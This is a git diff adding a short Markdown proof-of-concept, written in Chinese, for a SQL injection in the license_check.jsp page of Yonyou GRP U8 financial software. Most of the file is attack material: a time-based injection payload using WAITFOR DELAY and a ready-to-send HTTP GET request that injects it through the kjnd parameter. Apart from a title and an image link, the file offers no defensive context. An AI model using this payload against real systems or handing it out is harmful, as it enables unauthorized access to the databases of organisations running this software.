diff --git a/用友 GRP U8 license_check.jsp 存在SQL注入.md b/用友 GRP U8 license_check.jsp 存在SQL注入.md
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+
+## 用友 GRP U8 license_check.jsp 存在SQL注入
+
+## sql注入payload
+```
+';WAITFOR DELAY '0:0:5'-- q
+```
+
+## poc
+```
+
+GET /u8qx/license_check.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+Connection: close
+```
+
+![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lc4ILVKo1g8Fcvju7pia1Lgsn9t5LBBrZibkYPnsDqIIA3LNhWdFso2I2DMibJJ4DQZbvCibWlRJJqfeib7ZiafvQiceA/640?wx_fmt=png&wxfrom=13)